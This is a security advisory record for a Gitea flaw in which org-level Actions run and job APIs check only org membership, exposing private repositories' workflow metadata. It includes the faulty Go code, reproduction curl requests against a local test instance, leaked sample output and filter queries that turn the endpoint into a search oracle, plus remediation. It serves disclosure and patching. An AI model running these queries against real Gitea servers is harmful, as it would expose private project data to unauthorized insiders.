{"id":"CVE-2026-57897","aliases":["GHSA-frpw-3h2q-4jj6"],"title":"Gitea: Cross-Repo Information Disclosure via Org-Level Actions Run/Job APIs","summary":"Gitea: Cross-Repo Information Disclosure via Org-Level Actions Run/Job APIs","severity":"medium","cvss":6.5,"cwe":["CWE-200","CWE-863"],"vendor":"gitea","product":"code.gitea.io/gitea","ecosystem":"go","affected":["code.gitea.io/gitea < 1.27.0"],"patched":["code.gitea.io/gitea 1.27.0"],"published":"2026-07-21","updated":"2026-07-21","source":"GHSA","sourceUrl":"https://github.com/advisories/GHSA-frpw-3h2q-4jj6","references":[{"url":"https://github.com/go-gitea/gitea/security/advisories/GHSA-frpw-3h2q-4jj6"},{"url":"https://github.com/go-gitea/gitea/releases/tag/v1.27.0"},{"url":"https://github.com/advisories/GHSA-frpw-3h2q-4jj6"}],"tags":["ghsa","go"],"ingestedAt":"2026-07-21T21:54:47.227Z","epss":0.003,"epssPercentile":0.22798,"slug":"CVE-2026-57897","body":"## Overview\n\n**Author:** Prakhar Porwal\n**Date:** 2026-05-24\n**Target:** Gitea (self-hosted Git service)\n**Branch tested:** `main` @ `b7e95cc48c` (development build, go1.26.3)\n**Component:** `routers/api/v1/org/action.go` (org-level Actions API)\n**OWASP:** API3:2023 Broken Object Property Level Authorization\n\n---\n\n## 1. Summary\n\nThe org-level Actions REST endpoints\n\n```\nGET /api/v1/orgs/{org}/actions/runs\nGET /api/v1/orgs/{org}/actions/jobs\n```\n\nare gated only by **`reqOrgMembership()`** + `reqToken()`. They then call\n`shared.ListRuns(ctx, ctx.Org.Organization.ID, 0)` /\n`shared.ListJobs(ctx, ctx.Org.Organization.ID, 0, 0, nil)`, which selects\n**every** `action_run` / `action_run_job` row whose repository belongs to the\norg — with **no per-repository ACL check**.\n\nResult: any user who is a member of an organization can enumerate workflow\nruns and jobs from **every repository in that org**, including:\n\n* private repositories the caller has no team membership for,\n* repositories where the caller has been explicitly denied the `repo.actions`\n  unit,\n* repositories created by other teams the caller is not part of.\n\nDirect per-repo equivalents (`GET /api/v1/repos/{owner}/{repo}/actions/runs`,\n`…/jobs/{job_id}/logs`, `…/runs/{run_id}/jobs`) correctly return `404` for the\nsame caller — proving the org-level surface is the only path that leaks.\n\n---\n\n## 2. Affected Code\n\n### 2.1 Route registration\n\n`routers/api/v1/api.go:1647-1652`\n\n```go\naddActionsRoutes(\n    m,\n    reqOrgMembership(),   // reqReaderCheck\n    reqOrgOwnership(),    // reqOwnerCheck\n    org.NewAction(),\n)\n```\n\n### 2.2 Helper that registers run/job listing\n\n`routers/api/v1/api.go:908-941`\n\n```go\nm.Group(\"/runs\", reqToken(), reqReaderCheck, act.ListWorkflowRuns)\nm.Get(\"/runs\", reqToken(), reqReaderCheck, act.ListWorkflowRuns)\nm.Get(\"/jobs\", reqToken(), reqReaderCheck, act.ListWorkflowJobs)\n```\n\n`reqReaderCheck` for org-scope = `reqOrgMembership()` — bare org membership is\nenough; no per-repo permission is consulted.\n\n### 2.3 Handler\n\n`routers/api/v1/org/action.go:595-683`\n\n```go\nfunc (Action) ListWorkflowJobs(ctx *context.APIContext) {\n    shared.ListJobs(ctx, ctx.Org.Organization.ID, 0, 0, nil)\n}\n\nfunc (Action) ListWorkflowRuns(ctx *context.APIContext) {\n    shared.ListRuns(ctx, ctx.Org.Organization.ID, 0)\n}\n```\n\n### 2.4 Query construction (no ACL)\n\n`routers/api/v1/shared/action.go:138-215`\n\n```go\nopts := actions_model.FindRunOptions{\n    OwnerID:     ownerID,   // ← org ID, NOT user ID\n    RepoID:      repoID,    // = 0 at org level\n    ListOptions: listOptions,\n}\n…\nruns, total, err := db.FindAndCount[actions_model.ActionRun](ctx, opts)\n```\n\n`models/actions/run_list.go:102-110`\n\n```go\nfunc (opts FindRunOptions) ToJoins() []db.JoinFunc {\n    if opts.OwnerID > 0 {\n        return []db.JoinFunc{func(sess db.Engine) error {\n            sess.Join(\"INNER\", \"repository\",\n                \"repository.id = repo_id AND repository.owner_id = ?\", opts.OwnerID)\n            return nil\n        }}\n    }\n    return nil\n}\n```\n\nThe join only constrains `repository.owner_id = orgID`. There is no\n`access`/`team_repo`/`collaboration` join and no\n`access_model.GetDoerRepoPermission(...)` filter — every row in the org is\nreturned.\n\nThe same bug applies to `shared.ListJobs`, which calls\n`db.FindAndCount[actions_model.ActionRunJob](ctx, FindRunJobOptions{OwnerID: …})`\nusing an analogous repository join.\n\n---\n\n## 3. Steps to Reproduce\n\n### 3.1 Setup\n\n* Org **`1st-org`** with one **private** repo `1st-org-repo`.\n* Team **`Owners`** contains user **`admin`** (org owner).\n* Team **`1st-team`** has **zero repositories** assigned (units permission\n  `none` for actions, no included repos).\n* User **`admin2`** is a regular user (`is_admin = false`), member of\n  `1st-team` only — so org member, but **no team grants any access to\n  `1st-org-repo`**.\n\nVerified that admin2 lacks direct access:\n\n```bash\n$ curl -u admin2:admin@123 -w '[%{http_code}]\\n' \\\n    http://localhost:3001/api/v1/repos/1st-org/1st-org-repo\n{\"errors\":null,\"message\":\"not found\",\"url\":\"…\"}[404]\n\n$ curl -u admin2:admin@123 -w '[%{http_code}]\\n' \\\n    http://localhost:3001/api/v1/orgs/1st-org/repos\n[]\n[200]\n```\n\nA workflow file was committed to `1st-org-repo/.gitea/workflows/ci.yml` to\nproduce an `action_run`:\n\n```yaml\nname: ci\non: push\njobs:\n  hello:\n    runs-on: ubuntu-latest\n    steps:\n      - run: echo \"SECRET_INFO_FROM_PRIVATE_REPO\"\n```\n\n### 3.2 Trigger\n\n```bash\n$ curl -u admin2:admin@123 -w '\\n[%{http_code}]\\n' \\\n    http://localhost:3001/api/v1/orgs/1st-org/actions/runs\n```\n\n**Output (truncated)**\n\n```json\n{\"workflow_runs\":[{\n  \"id\":7,\n  \"url\":\"http://localhost:3001/api/v1/repos/1st-org/1st-org-repo/actions/runs/7\",\n  \"html_url\":\"http://localhost:3001/1st-org/1st-org-repo/actions/runs/7\",\n  \"display_title\":\"add workflow\",\n  \"path\":\"ci.yml@refs/heads/main\",\n  \"event\":\"push\",\n  \"run_attempt\":1,\n  \"run_number\":1,\n  \"head_sha\":\"b7de30c225eaf5c6e5be1fa1a0dafe5045f90d73\",\n  \"head_branch\":\"main\",\n  \"status\":\"queued\",\n  \"actor\":{\"id\":1,\"login\":\"admin\", … \"email\":\"1+admin@noreply.localhost\", …},\n  \"trigger_actor\":{ … \"login\":\"admin\" … },\n  \"repository\":{\n     \"id\":4,\"name\":\"1st-org-repo\",\"full_name\":\"1st-org/1st-org-repo\",\n     \"description\":\"test123\",\n     \"private\":true,\n     \"clone_url\":\"http://localhost:3001/1st-org/1st-org-repo.git\",\n     \"ssh_url\":\"prakhar@localhost:1st-org/1st-org-repo.git\",\n     …\n  }\n}],\"total_count\":1}\n[200]\n```\n\nSame primitive for jobs:\n\n```bash\n$ curl -u admin2:admin@123 -w '\\n[%{http_code}]\\n' \\\n    http://localhost:3001/api/v1/orgs/1st-org/actions/jobs\n{\"jobs\":[{\n  \"id\":7,\n  \"run_id\":7,\n  \"name\":\"hello\",\n  \"labels\":[\"ubuntu-latest\"],\n  \"head_sha\":\"b7de30c225eaf5c6e5be1fa1a0dafe5045f90d73\",\n  \"head_branch\":\"main\",\n  \"status\":\"queued\",\n  …\n}],\"total_count\":1}\n[200]\n```\n\n### 3.3 search primitives\n\nAll query parameters supported by `ListRuns`/`ListJobs` work too — turning the\nendpoint into a **search oracle** over private workflow metadata:\n\n```bash\n# Find runs on a specific branch in private repos:\ncurl -u admin2:… \"http://localhost:3001/api/v1/orgs/1st-org/actions/runs?branch=main\"\n\n# Confirm a given commit SHA exists in any private repo of the org:\ncurl -u admin2:… \"http://localhost:3001/api/v1/orgs/1st-org/actions/runs?head_sha=b7de30c2…\"\n\n# Filter by actor:\ncurl -u admin2:… \"http://localhost:3001/api/v1/orgs/1st-org/actions/runs?actor=admin\"\n\n# Filter by event/status:\ncurl -u admin2:… \"http://localhost:3001/api/v1/orgs/1st-org/actions/runs?event=push&status=failure\"\n```\n\nAll return matching rows from private repos in the org.\n\n\n---\n\n\n## 4. Impact\n\nA low-privileged authenticated org member (no team, no repo permission, no\nadmin) gains, for every private repository in the org:\n\n| Field leaked                  | Why it matters                                      |\n|-------------------------------|------------------------------------------------------|\n| `repository.full_name`, `description`, `private`, clone URLs | Existence + topology of private repos |\n| `head_sha`, `head_branch`     | Confirms commits / branch names exist in private repos |\n| `path` (workflow file)        | Reveals workflow YAML filenames                      |\n| `event`, `display_title`      | Commit messages / event types                        |\n| `actor`, `trigger_actor`      | Internal contributor identities incl. noreply emails |\n| `created_at`, `started_at`    | Activity timing / CI cadence                         |\n| Pagination + `?head_sha=`/`?branch=`/`?actor=` filters | Full **search oracle** over private workflow history |\n\nReal-world consequences:\n\n1. **Org reconnaissance** — confirms existence of private projects, names,\n   activity patterns; commit messages and branch names often reveal product\n   plans, security fix windows, or release schedules.\n2. **Insider-threat amplification** — any contractor / interviewee / OSS\n   contributor invited to a low-permission team can mine the rest of the\n   org's CI history.\n3. **Cross-team violation** — when an org isolates internal projects via\n   teams (e.g. `security/` vs `infra/` teams), this surface flatly bypasses\n   that boundary.\n4. **Pivot data** — commit SHAs disclosed here unlock subsequent endpoints\n   that *do* check ACLs but accept SHA inputs (e.g. some package / archive\n   download paths in third-party tooling that just trusts a SHA).\n\nThe same primitive is exposed regardless of token scope, as long as the token\nhas `organization` scope, the user is an org member, and the org has any\nprivate repos with action runs.\n\n---\n\n## Affected packages\n\n- `code.gitea.io/gitea < 1.27.0`\n\n## Remediation\n\nUpgrade to a patched release:\n\n- `code.gitea.io/gitea 1.27.0`","depth":"sunlit","depthScore":36,"depthScoreParts":{"impact":35.8,"likelihood":0.1,"exploitation":0,"ransomware":0},"changes":[]}